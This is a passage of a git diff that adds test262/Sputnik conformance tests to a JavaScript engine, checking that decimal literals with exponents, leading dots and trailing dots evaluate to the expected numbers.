+ $ERROR('#8: 8e+1 === 80');
+}
+
+//CHe+CK#9
+if (9e+1 !== 90) {
+ $ERROR('#9: 9e+1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T6.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T6.js
new file mode 100644
index 000000000..bdfc65d33
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T6.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T6.js
+ * @description ExponentPart :: E +DecimalDigits
+ */
+
+//CHECK#0
+if (0E+1 !== 0) {
+ $ERROR('#0: 0E+1 === 0');
+}
+
+//CHE+CK#1
+if (1E+1 !== 10) {
+ $ERROR('#1: 1E+1 === 10');
+}
+
+//CHE+CK#2
+if (2E+1 !== 20) {
+ $ERROR('#2: 2E+1 === 20');
+}
+
+//CHE+CK#3
+if (3E+1 !== 30) {
+ $ERROR('#3: 3E+1 === 30');
+}
+
+//CHE+CK#4
+if (4E+1 !== 40) {
+ $ERROR('#4: 4E+1 === 40');
+}
+
+//CHE+CK#5
+if (5E+1 !== 50) {
+ $ERROR('#5: 5E+1 === 50');
+}
+
+//CHE+CK#6
+if (6E+1 !== 60) {
+ $ERROR('#6: 6E+1 === 60');
+}
+
+//CHE+CK#7
+if (7E+1 !== 70) {
+ $ERROR('#7: 7E+1 === 70');
+}
+
+//CHE+CK#8
+if (8E+1 !== 80) {
+ $ERROR('#8: 8E+1 === 80');
+}
+
+//CHE+CK#9
+if (9E+1 !== 90) {
+ $ERROR('#9: 9E+1 === 90');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T7.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T7.js
new file mode 100644
index 000000000..d636e7e6b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T7.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T7.js
+ * @description ExponentPart :: e 0
+ */
+
+//CHECK#0
+if (0e0 !== 0) {
+ $ERROR('#0: 0e0 === 0');
+}
+
+//CHECK#1
+if (1e0 !== 1) {
+ $ERROR('#1: 1e0 === 1');
+}
+
+//CHECK#2
+if (2e0 !== 2) {
+ $ERROR('#2: 2e0 === 2');
+}
+
+//CHECK#3
+if (3e0 !== 3) {
+ $ERROR('#3: 3e0 === 3');
+}
+
+//CHECK#4
+if (4e0 !== 4) {
+ $ERROR('#4: 4e0 === 4');
+}
+
+//CHECK#5
+if (5e0 !== 5) {
+ $ERROR('#5: 5e0 === 5');
+}
+
+//CHECK#6
+if (6e0 !== 6) {
+ $ERROR('#6: 6e0 === 6');
+}
+
+//CHECK#7
+if (7e0 !== 7) {
+ $ERROR('#7: 7e0 === 7');
+}
+
+//CHECK#8
+if (8e0 !== 8) {
+ $ERROR('#8: 8e0 === 8');
+}
+
+//CHECK#9
+if (9e0 !== 9) {
+ $ERROR('#9: 9e0 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T8.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T8.js
new file mode 100644
index 000000000..c45e4353d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A1.2_T8.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A1.2_T8.js
+ * @description ExponentPart :: E 0
+ */
+
+//CHECK#0
+if (0E0 !== 0) {
+ $ERROR('#0: 0E0 === 0');
+}
+
+//CHECK#1
+if (1E0 !== 1) {
+ $ERROR('#1: 1E0 === 1');
+}
+
+//CHECK#2
+if (2E0 !== 2) {
+ $ERROR('#2: 2E0 === 2');
+}
+
+//CHECK#3
+if (3E0 !== 3) {
+ $ERROR('#3: 3E0 === 3');
+}
+
+//CHECK#4
+if (4E0 !== 4) {
+ $ERROR('#4: 4E0 === 4');
+}
+
+//CHECK#5
+if (5E0 !== 5) {
+ $ERROR('#5: 5E0 === 5');
+}
+
+//CHECK#6
+if (6E0 !== 6) {
+ $ERROR('#6: 6E0 === 6');
+}
+
+//CHECK#7
+if (7E0 !== 7) {
+ $ERROR('#7: 7E0 === 7');
+}
+
+//CHECK#8
+if (8E0 !== 8) {
+ $ERROR('#8: 8E0 === 8');
+}
+
+//CHECK#9
+if (9E0 !== 9) {
+ $ERROR('#9: 9E0 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T1.js
new file mode 100644
index 000000000..571cfe65e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.1_T1.js
+ * @description Use .DecimalDigit
+ */
+
+//CHECK#0
+if (.0 !== 0.0) {
+ $ERROR('#0: .0 === 0.0');
+}
+
+//CHECK#1
+if (.1 !== 0.1) {
+ $ERROR('#1: .1 === 0.1');
+}
+
+//CHECK#2
+if (.2 !== 0.2) {
+ $ERROR('#2: .2 === 0.2');
+}
+
+//CHECK#3
+if (.3 !== 0.3) {
+ $ERROR('#3: .3 === 0.3');
+}
+
+//CHECK#4
+if (.4 !== 0.4) {
+ $ERROR('#4: .4 === 0.4');
+}
+
+//CHECK#5
+if (.5 !== 0.5) {
+ $ERROR('#5: .5 === 0.5');
+}
+
+//CHECK#6
+if (.6 !== 0.6) {
+ $ERROR('#6: .6 === 0.6');
+}
+
+//CHECK#7
+if (.7 !== 0.7) {
+ $ERROR('#7: .7 === 0.7');
+}
+
+//CHECK#8
+if (.8 !== 0.8) {
+ $ERROR('#8: .8 === 0.8');
+}
+
+//CHECK#9
+if (.9 !== 0.9) {
+ $ERROR('#9: .9 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T2.js
new file mode 100644
index 000000000..88ed6fc02
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.1_T2.js
+ * @description Use .DecimalDigits
+ */
+
+//CHECK#0
+if (.00 !== 0.00) {
+ $ERROR('#0: .00 === 0.00');
+}
+
+//CHECK#1
+if (.11 !== 0.11) {
+ $ERROR('#1: .11 === 0.11');
+}
+
+//CHECK#2
+if (.22 !== 0.22) {
+ $ERROR('#2: .22 === 0.22');
+}
+
+//CHECK#3
+if (.33 !== 0.33) {
+ $ERROR('#3: .33 === 0.33');
+}
+
+//CHECK#4
+if (.44 !== 0.44) {
+ $ERROR('#4: .44 === 0.44');
+}
+
+//CHECK#5
+if (.55 !== 0.55) {
+ $ERROR('#5: .55 === 0.55');
+}
+
+//CHECK#6
+if (.66 !== 0.66) {
+ $ERROR('#6: .66 === 0.66');
+}
+
+//CHECK#7
+if (.77 !== 0.77) {
+ $ERROR('#7: .77 === 0.77');
+}
+
+//CHECK#8
+if (.88 !== 0.88) {
+ $ERROR('#8: .88 === 0.88');
+}
+
+//CHECK#9
+if (.99 !== 0.99) {
+ $ERROR('#9: .99 === 0.99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T3.js
new file mode 100644
index 000000000..2b5d47bd1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.1_T3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.1_T3.js
+ * @description Use .DecimalDigits that have at the end zeros
+ */
+
+//CHECK#0
+if (.00 !== 0.0) {
+ $ERROR('#0: .0 === 0.0');
+}
+
+//CHECK#1
+if (.10 !== 0.1) {
+ $ERROR('#1: .1 === 0.1');
+}
+
+//CHECK#2
+if (.20 !== 0.2) {
+ $ERROR('#2: .2 === 0.2');
+}
+
+//CHECK#3
+if (.30 !== 0.3) {
+ $ERROR('#3: .3 === 0.3');
+}
+
+//CHECK#4
+if (.40 !== 0.4) {
+ $ERROR('#4: .4 === 0.4');
+}
+
+//CHECK#5
+if (.50 !== 0.5) {
+ $ERROR('#5: .5 === 0.5');
+}
+
+//CHECK#6
+if (.60 !== 0.6) {
+ $ERROR('#6: .6 === 0.6');
+}
+
+//CHECK#7
+if (.70 !== 0.7) {
+ $ERROR('#7: .7 === 0.7');
+}
+
+//CHECK#8
+if (.80 !== 0.8) {
+ $ERROR('#8: .8 === 0.8');
+}
+
+//CHECK#9
+if (.90 !== 0.9) {
+ $ERROR('#9: .9 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T1.js
new file mode 100644
index 000000000..bd80eb9d7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T1.js
+ * @description ExponentPart :: e DecimalDigits
+ */
+
+//CHECK#0
+if (.0e1 !== 0) {
+ $ERROR('#0: .0e1 === 0');
+}
+
+//CHECK#1
+if (.1e1 !== 1) {
+ $ERROR('#1: .1e1 === 1');
+}
+
+//CHECK#2
+if (.2e1 !== 2) {
+ $ERROR('#2: .2e1 === 2');
+}
+
+//CHECK#3
+if (.3e1 !== 3) {
+ $ERROR('#3: .3e1 === 3');
+}
+
+//CHECK#4
+if (.4e1 !== 4) {
+ $ERROR('#4: .4e1 === 4');
+}
+
+//CHECK#5
+if (.5e1 !== 5) {
+ $ERROR('#5: .5e1 === 5');
+}
+
+//CHECK#6
+if (.6e1 !== 6) {
+ $ERROR('#6: .6e1 === 6');
+}
+
+//CHECK#7
+if (.7e1 !== 7) {
+ $ERROR('#7: .7e1 === 7');
+}
+
+//CHECK#8
+if (.8e1 !== 8) {
+ $ERROR('#8: .8e1 === 8');
+}
+
+//CHECK#9
+if (.9e1 !== 9) {
+ $ERROR('#9: .9e1 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T2.js
new file mode 100644
index 000000000..0e6db7925
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T2.js
+ * @description ExponentPart :: E DecimalDigits
+ */
+
+//CHECK#0
+if (.0E1 !== 0) {
+ $ERROR('#0: .0E1 === 0');
+}
+
+//CHECK#1
+if (.1E1 !== 1) {
+ $ERROR('#1: .1E1 === 1');
+}
+
+//CHECK#2
+if (.2E1 !== 2) {
+ $ERROR('#2: .2E1 === 2');
+}
+
+//CHECK#3
+if (.3E1 !== 3) {
+ $ERROR('#3: .3E1 === 3');
+}
+
+//CHECK#4
+if (.4E1 !== 4) {
+ $ERROR('#4: .4E1 === 4');
+}
+
+//CHECK#5
+if (.5E1 !== 5) {
+ $ERROR('#5: .5E1 === 5');
+}
+
+//CHECK#6
+if (.6E1 !== 6) {
+ $ERROR('#6: .6E1 === 6');
+}
+
+//CHECK#7
+if (.7E1 !== 7) {
+ $ERROR('#7: .7E1 === 7');
+}
+
+//CHECK#8
+if (.8E1 !== 8) {
+ $ERROR('#8: .8E1 === 8');
+}
+
+//CHECK#9
+if (.9E1 !== 9) {
+ $ERROR('#9: .9E1 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T3.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T3.js
new file mode 100644
index 000000000..513868760
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T3.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T3.js
+ * @description ExponentPart :: e +DecimalDigits
+ */
+
+//CHECK#0
+if (.0e-1 !== 0) {
+ $ERROR('#0: .0e-1 === 0');
+}
+
+//CHECK#1
+if (.1e-1 !== 0.01) {
+ $ERROR('#1: .1e-1 === 0.01');
+}
+
+//CHECK#2
+if (.2e-1 !== 0.02) {
+ $ERROR('#2: .2e-1 === 0.02');
+}
+
+//CHECK#3
+if (.3e-1 !== 0.03) {
+ $ERROR('#3: .3e-1 === 0.03');
+}
+
+//CHECK#4
+if (.4e-1 !== 0.04) {
+ $ERROR('#4: .4e-1 === 0.04');
+}
+
+//CHECK#5
+if (.5e-1 !== 0.05) {
+ $ERROR('#5: .5e-1 === 0.05');
+}
+
+//CHECK#6
+if (.6e-1 !== 0.06) {
+ $ERROR('#6: .6e-1 === 0.06');
+}
+
+//CHECK#7
+if (.7e-1 !== 0.07) {
+ $ERROR('#7: .7e-1 === 0.07');
+}
+
+//CHECK#8
+if (.8e-1 !== 0.08) {
+ $ERROR('#8: .8e-1 === 0.08');
+}
+
+//CHECK#9
+if (.9e-1 !== 0.09) {
+ $ERROR('#9: .9e-1 === 0.09');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T4.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T4.js
new file mode 100644
index 000000000..88ddf9858
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T4.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T4.js
+ * @description ExponentPart :: E +DecimalDigits
+ */
+
+//CHECK#0
+if (.0E-1 !== 0) {
+ $ERROR('#0: .0E-1 === 0');
+}
+
+//CHECK#1
+if (.1E-1 !== 0.01) {
+ $ERROR('#1: .1E-1 === 0.01');
+}
+
+//CHECK#2
+if (.2E-1 !== 0.02) {
+ $ERROR('#2: .2E-1 === 0.02');
+}
+
+//CHECK#3
+if (.3E-1 !== 0.03) {
+ $ERROR('#3: .3E-1 === 0.03');
+}
+
+//CHECK#4
+if (.4E-1 !== 0.04) {
+ $ERROR('#4: .4E-1 === 0.04');
+}
+
+//CHECK#5
+if (.5E-1 !== 0.05) {
+ $ERROR('#5: .5E-1 === 0.05');
+}
+
+//CHECK#6
+if (.6E-1 !== 0.06) {
+ $ERROR('#6: .6E-1 === 0.06');
+}
+
+//CHECK#7
+if (.7E-1 !== 0.07) {
+ $ERROR('#7: .7E-1 === 0.07');
+}
+
+//CHECK#8
+if (.8E-1 !== 0.08) {
+ $ERROR('#8: .8E-1 === 0.08');
+}
+
+//CHECK#9
+if (.9E-1 !== 0.09) {
+ $ERROR('#9: .9E-1 === 0.09');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T5.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T5.js
new file mode 100644
index 000000000..881511a10
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T5.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T5.js
+ * @description ExponentPart :: e +DecimalDigits
+ */
+
+//CHECK#0
+if (.0e+1 !== 0) {
+ $ERROR('#0: .0e+1 === 0');
+}
+
+//CHECK#1
+if (.1e+1 !== 1) {
+ $ERROR('#1: .1e+1 === 1');
+}
+
+//CHECK#2
+if (.2e+1 !== 2) {
+ $ERROR('#2: .2e+1 === 2');
+}
+
+//CHECK#3
+if (.3e+1 !== 3) {
+ $ERROR('#3: .3e+1 === 3');
+}
+
+//CHECK#4
+if (.4e+1 !== 4) {
+ $ERROR('#4: .4e+1 === 4');
+}
+
+//CHECK#5
+if (.5e+1 !== 5) {
+ $ERROR('#5: .5e+1 === 5');
+}
+
+//CHECK#6
+if (.6e+1 !== 6) {
+ $ERROR('#6: .6e+1 === 6');
+}
+
+//CHECK#7
+if (.7e+1 !== 7) {
+ $ERROR('#7: .7e+1 === 7');
+}
+
+//CHECK#8
+if (.8e+1 !== 8) {
+ $ERROR('#8: .8e+1 === 8');
+}
+
+//CHECK#9
+if (.9e+1 !== 9) {
+ $ERROR('#9: .9e+1 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T6.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T6.js
new file mode 100644
index 000000000..8b206eee7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T6.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T6.js
+ * @description ExponentPart :: E +DecimalDigits
+ */
+
+//CHECK#0
+if (.0E+1 !== 0) {
+ $ERROR('#0: .0E+1 === 0');
+}
+
+//CHECK#1
+if (.1E+1 !== 1) {
+ $ERROR('#1: .1E+1 === 1');
+}
+
+//CHECK#2
+if (.2E+1 !== 2) {
+ $ERROR('#2: .2E+1 === 2');
+}
+
+//CHECK#3
+if (.3E+1 !== 3) {
+ $ERROR('#3: .3E+1 === 3');
+}
+
+//CHECK#4
+if (.4E+1 !== 4) {
+ $ERROR('#4: .4E+1 === 4');
+}
+
+//CHECK#5
+if (.5E+1 !== 5) {
+ $ERROR('#5: .5E+1 === 5');
+}
+
+//CHECK#6
+if (.6E+1 !== 6) {
+ $ERROR('#6: .6E+1 === 6');
+}
+
+//CHECK#7
+if (.7E+1 !== 7) {
+ $ERROR('#7: .7E+1 === 7');
+}
+
+//CHECK#8
+if (.8E+1 !== 8) {
+ $ERROR('#8: .8E+1 === 8');
+}
+
+//CHECK#9
+if (.9E+1 !== 9) {
+ $ERROR('#9: .9E+1 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T7.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T7.js
new file mode 100644
index 000000000..a3701e00c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T7.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T7.js
+ * @description ExponentPart :: e 0
+ */
+
+//CHECK#0
+if (.0e0 !== 0.0) {
+ $ERROR('#0: .0e0 === 0.0');
+}
+
+//CHECK#1
+if (.1e0 !== 0.1) {
+ $ERROR('#1: .1e0 === 0.1');
+}
+
+//CHECK#2
+if (.2e0 !== 0.2) {
+ $ERROR('#2: .2e0 === 0.2');
+}
+
+//CHECK#3
+if (.3e0 !== 0.3) {
+ $ERROR('#3: .3e0 === 0.3');
+}
+
+//CHECK#4
+if (.4e0 !== 0.4) {
+ $ERROR('#4: .4e0 === 0.4');
+}
+
+//CHECK#5
+if (.5e0 !== 0.5) {
+ $ERROR('#5: .5e0 === 0.5');
+}
+
+//CHECK#6
+if (.6e0 !== 0.6) {
+ $ERROR('#6: .6e0 === 0.6');
+}
+
+//CHECK#7
+if (.7e0 !== 0.7) {
+ $ERROR('#7: .7e0 === 0.7');
+}
+
+//CHECK#8
+if (.8e0 !== 0.8) {
+ $ERROR('#8: .8e0 === 0.8');
+}
+
+//CHECK#9
+if (.9e0 !== 0.9) {
+ $ERROR('#9: .9e0 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T8.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T8.js
new file mode 100644
index 000000000..d8bca29e1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A2.2_T8.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: .DecimalDigits ExponentPart
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A2.2_T8.js
+ * @description ExponentPart :: E 0
+ */
+
+//CHECK#0
+if (.0E0 !== 0.0) {
+ $ERROR('#0: .0E0 === 0.0');
+}
+
+//CHECK#1
+if (.1E0 !== 0.1) {
+ $ERROR('#1: .1E0 === 0.1');
+}
+
+//CHECK#2
+if (.2E0 !== 0.2) {
+ $ERROR('#2: .2E0 === 0.2');
+}
+
+//CHECK#3
+if (.3E0 !== 0.3) {
+ $ERROR('#3: .3E0 === 0.3');
+}
+
+//CHECK#4
+if (.4E0 !== 0.4) {
+ $ERROR('#4: .4E0 === 0.4');
+}
+
+//CHECK#5
+if (.5E0 !== 0.5) {
+ $ERROR('#5: .5E0 === 0.5');
+}
+
+//CHECK#6
+if (.6E0 !== 0.6) {
+ $ERROR('#6: .6E0 === 0.6');
+}
+
+//CHECK#7
+if (.7E0 !== 0.7) {
+ $ERROR('#7: .7E0 === 0.7');
+}
+
+//CHECK#8
+if (.8E0 !== 0.8) {
+ $ERROR('#8: .8E0 === 0.8');
+}
+
+//CHECK#9
+if (.9E0 !== 0.9) {
+ $ERROR('#9: .9E0 === 0.9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.1_T1.js
new file mode 100644
index 000000000..0e34b120b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.1_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral.
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.1_T1.js
+ * @description DecimalIntegerLiteral :: 0, NoNZeroDigit
+ */
+
+//CHECK#0
+if (0. !== 0) {
+ $ERROR('#0: 0. === 0');
+}
+
+//CHECK#1
+if (1. !== 1) {
+ $ERROR('#1: 1. === 1');
+}
+
+//CHECK#2
+if (2. !== 2) {
+ $ERROR('#2: 2. === 2');
+}
+
+//CHECK#3
+if (3. !== 3) {
+ $ERROR('#3: 3. === 3');
+}
+
+//CHECK#4
+if (4. !== 4) {
+ $ERROR('#4: 4. === 4');
+}
+
+//CHECK#5
+if (5. !== 5) {
+ $ERROR('#5: 5. === 5');
+}
+
+//CHECK#6
+if (6. !== 6) {
+ $ERROR('#6: 6. === 6');
+}
+
+//CHECK#7
+if (7. !== 7) {
+ $ERROR('#7: 7. === 7');
+}
+
+//CHECK#8
+if (8. !== 8) {
+ $ERROR('#8: 8. === 8');
+}
+
+//CHECK#9
+if (9. !== 9) {
+ $ERROR('#9: 9. === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.1_T2.js
new file mode 100644
index 000000000..6dcdd78e3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.1_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral.
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.1_T2.js
+ * @description DecimalIntegerLiteral :: NoNZeroDigit DecimalDigigts
+ */
+
+//CHECK#1
+if (11. !== 11) {
+ $ERROR('#1: 11. === 11');
+}
+
+//CHECK#2
+if (22. !== 22) {
+ $ERROR('#2: 22. === 22');
+}
+
+//CHECK#3
+if (33. !== 33) {
+ $ERROR('#3: 33. === 33');
+}
+
+//CHECK#4
+if (44. !== 44) {
+ $ERROR('#4: 44. === 44');
+}
+
+//CHECK#5
+if (55. !== 55) {
+ $ERROR('#5: 55. === 55');
+}
+
+//CHECK#6
+if (66. !== 66) {
+ $ERROR('#6: 66. === 66');
+}
+
+//CHECK#7
+if (77. !== 77) {
+ $ERROR('#7: 77. === 77');
+}
+
+//CHECK#8
+if (88. !== 88) {
+ $ERROR('#8: 88. === 88');
+}
+
+//CHECK#9
+if (99. !== 99) {
+ $ERROR('#9: 99. === 99');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T1.js
new file mode 100644
index 000000000..5c0a5ffa7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigits
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.2_T1.js
+ * @description After DecimalIntegerLiteral. used ZeroDigit
+ */
+
+//CHECK#0
+if (0.0 !== 0) {
+ $ERROR('#0: 0.0 === 0');
+}
+
+//CHECK#1
+if (1.0 !== 1) {
+ $ERROR('#1: 1.0 === 1');
+}
+
+//CHECK#2
+if (2.0 !== 2) {
+ $ERROR('#2: 2.0 === 2');
+}
+
+//CHECK#3
+if (3.0 !== 3) {
+ $ERROR('#3: 3.0 === 3');
+}
+
+//CHECK#4
+if (4.0 !== 4) {
+ $ERROR('#4: 4.0 === 4');
+}
+
+//CHECK#5
+if (5.0 !== 5) {
+ $ERROR('#5: 5.0 === 5');
+}
+
+//CHECK#6
+if (6.0 !== 6) {
+ $ERROR('#6: 6.0 === 6');
+}
+
+//CHECK#7
+if (7.0 !== 7) {
+ $ERROR('#7: 7.0 === 7');
+}
+
+//CHECK#8
+if (8.0 !== 8) {
+ $ERROR('#8: 8.0 === 8');
+}
+
+//CHECK#9
+if (9.0 !== 9) {
+ $ERROR('#9: 9.0 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T2.js
new file mode 100644
index 000000000..110c931e5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A3.2_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: DecimalIntegerLiteral. DecimalDigits
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A3.2_T2.js
+ * @description After DecimalIntegerLiteral. used ZeroDigits
+ */
+
+//CHECK#0
+if (0.00 !== 0) {
+ $ERROR('#0: 0.00 === 0');
+}
+
+//CHECK#1
+if (1.00 !== 1) {
+ $ERROR('#1: 1.00 === 1');
+}
+
+//CHECK#2
+if (2.00 !== 2) {
+ $ERROR('#2: 2.00 === 2');
+}
+
+//CHECK#3
+if (3.00 !== 3) {
+ $ERROR('#3: 3.00 === 3');
+}
+
+//CHECK#4
+if (4.00 !== 4) {
+ $ERROR('#4: 4.00 === 4');
+}
+
+//CHECK#5
+if (5.00 !== 5) {
+ $ERROR('#5: 5.00 === 5');
+}
+
+//CHECK#6
+if (6.00 !== 6) {
